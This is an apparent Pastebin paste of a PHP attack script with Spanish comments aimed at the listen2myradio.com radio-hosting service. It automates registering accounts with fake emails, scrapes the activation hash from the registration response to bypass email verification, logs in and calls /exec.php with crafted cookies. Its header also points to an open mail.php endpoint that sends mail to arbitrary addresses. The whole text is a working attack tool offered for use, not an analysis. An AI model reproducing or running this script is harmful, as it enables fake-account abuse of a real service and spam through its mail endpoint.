Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- # BUG 1 - registro de cuentas con autentificacion hack
- #
- # BUG 2 - vulnerabilidad en archivo de enviar mails
- # Host: Target: www.l2mremail.info
- # Stream: GET
- # Target: /mail.php?massage=+The+message&emailto=namemail@mail.com&subject=the%20subject
- # Target Referer: http://listen2myradio.com/register.php
- #
- session_start();
- # headers
- include( "admin/funciones.php" );
- echo '<form action="test.php" method="POST">
- Usuario: <input type="text" name="usuario" id="usuario" value="'. $_POST["usuario"]. '">
- <br>Clave: <input type="text" name="clave" id="clave" value="'. $_POST["clave"]. '">
- <br>Email Falso: <input type="text" name="email" id="email" value="'. $_POST["email"]. '">
- <br>Paso: <select name="paso"><option value="error">--</option>
- <option value="uno">Paso 1</option>
- <option value="dos">Paso 2</option>
- <option value="tres">Paso 3</option>
- </select>
- <br><input type="submit" name="boton" value="Enviar">
- </form>';
- if( !strcmp($_POST["boton"], "Enviar") ) # enviando
- {
- # primer paso enviar las variables, por flujo POST
- # segundo paso obtenemos resultado de la peticion de registro (hash)
- # tercero enviamos el regstro de confirmacion por flujo GET
- #
- echo '<h1>Resultado</h1><p>';
- if( !strcmp($_POST["paso"], "error") || !$_POST["paso"] )
- echo 'Error: paso incorrecto.';
- # paso 1 - registro y generar hash de activacion
- else if( !strcmp($_POST["paso"], "uno") )
- {
- # args= #'name=angel&username=siegroupradio&password=5136r0up&password1=5136r0up&email=siegroup01%40gmail.com&email1=siegroup01%40gmail.com&ktovet=MX&accept=on';
- $host= 'listen2myradio.com';
- $target= '/register.php';
- $args= 'name='. generar_idtrack(). '&username='. $_POST["usuario"]. '&password='. $_POST["clave"]. '&password1='. $_POST["clave"]. '&email='. proteger_cadena($_POST["email"]). '&email1='. proteger_cadena($_POST["email"]). '&ktovet=MX&accept=on';
- $stream= 'POST';
- $arr= array( $stream, $target, $args, );
- $r= curl_iodata( $host, $arr, '80' );
- # sacando hash
- $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
- preg_match_all( $patron, $r, $d);
- if( !strstr( $d[0][0], "We received your request to register" ) ) # no se registro con exito
- echo 'Error: No se logro registrar, ya existe el mail';
- else # cuenta registrada con exito
- {
- echo 'Correo registrado, hay que procesar activacion<br>';
- $patron= '|\<img src\=(.*?)\>|is';
- preg_match_all( $patron, $r, $d);
- #echo '[<b>'. urldecode($d[1][2]). '</b>]<br>';
- $x= explode( "register_in=", urldecode($d[1][2]) );
- $y= explode( "&", $x[1] );
- $url= $host.$target.'?register_in='. $y[0];
- echo $url;
- $fp= fopen( "paso.txt", "w");
- fwrite( $fp, $url, strlen($url));
- fclose($fp);
- unset($y, $x, $fp, $url);
- }
- unset($patron, $d, $r, $host, $targr, $args, $stream, $arr);
- }
- # paso 2 - confirmar la cuenta de correo falsa
- else if( !strcmp($_POST["paso"], "dos") )
- {
- $file= 'paso.txt'; # registro
- if( !file_exists($file) )
- echo 'Error: debes hacer paso 1';
- else
- {
- # leemos paso.txt
- $fp= fopen( $file, "r"); # abrimos
- $buf= fread($fp, filesize($file)); # leemos el archivo
- fclose($fp);
- unset($fp);
- $x= explode( "?", clearjump($buf) ); # dividimos
- if( count($x)!=2 )
- echo 'Error: extraer informacion archivo paso.txt';
- else
- {
- $host= 'listen2myradio.com';
- $target= '/register.php';
- $args= '?'.$x[1];# ?register_in=HASH_CODE
- $stream= 'GET';
- $arr= array( $stream, $target.$args, 0 );
- $r= curl_iodata( $host, $arr, '80' );
- $fp= fopen( "paso2.txt", "w");
- fwrite( $fp, $r, strlen($r));
- fclose($fp);
- $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
- $d='';
- preg_match_all( $patron, $r, $d);
- if( !strstr( $d[0][0], "successful registered" ) ) # no se pudo confirar la cuenta
- echo 'Error: No se logro verificar la cuenta';
- else # se confirmo con exito la cuenta
- echo 'Cuenta Registrada y Verificada con exito...';
- unset($host, $target, $args, $stream, $arr, $r, $fp, $patron, $d);
- }
- unset($buf, $x);
- }
- unset($file);
- }
- # paso 3 - logearse al sistema e instalar el server de audio
- else if( !strcmp($_POST["paso"], "tres") )
- {
- $file= 'paso2.txt';
- if( !file_exists($file) )
- echo 'Error: debes hacer paso 2';
- else
- {
- $host= 'listen2myradio.com';
- $target= '/signup.php'; # script para conectar
- $args= 'password='. $_POST["clave"]. '&email='. proteger_cadena($_POST["email"]); # user, password, email
- $stream= 'POST';
- echo '[*] Conectando a listen2myradio [';
- $arr= array( $stream, $target, $args );
- $r= curl_iodata( $host, $arr, '80' );
- # sacando hash
- $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
- preg_match_all( $patron, $r, $d);
- if( strstr( $d[0][0], "Email and password are incorrect" ) ) # no se registro con exito
- echo '<b>Error: El email o clave son incorrectos</b>]';
- else # cuenta registrada con exito
- {
- echo '<b>OK</b>]';
- $fp= fopen( "paso3.txt", "w");
- fwrite( $fp, $r, strlen($r));
- fclose($fp);
- unset($r);
- echo '<br>Paso 4 ---';
- $stream= 'GET';
- $target= '/exec.php'; # script para conectar
- $extra_heads= array("Cookie"=>"PHPSESSID=; 12mr=;");
- $arr= array( $stream, $target, 0, $extra_heads );
- $r= curl_iodata( $host, $arr, '80' );
- $fp= fopen( "paso4.txt", "w");
- fwrite( $fp, $r, strlen($r));
- fclose($fp);
- unset($r);
- unset($fp);
- }
- unset($host, $target, $args, $stream, $d, $patron, $r, $arr);
- }
- unset($file);
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement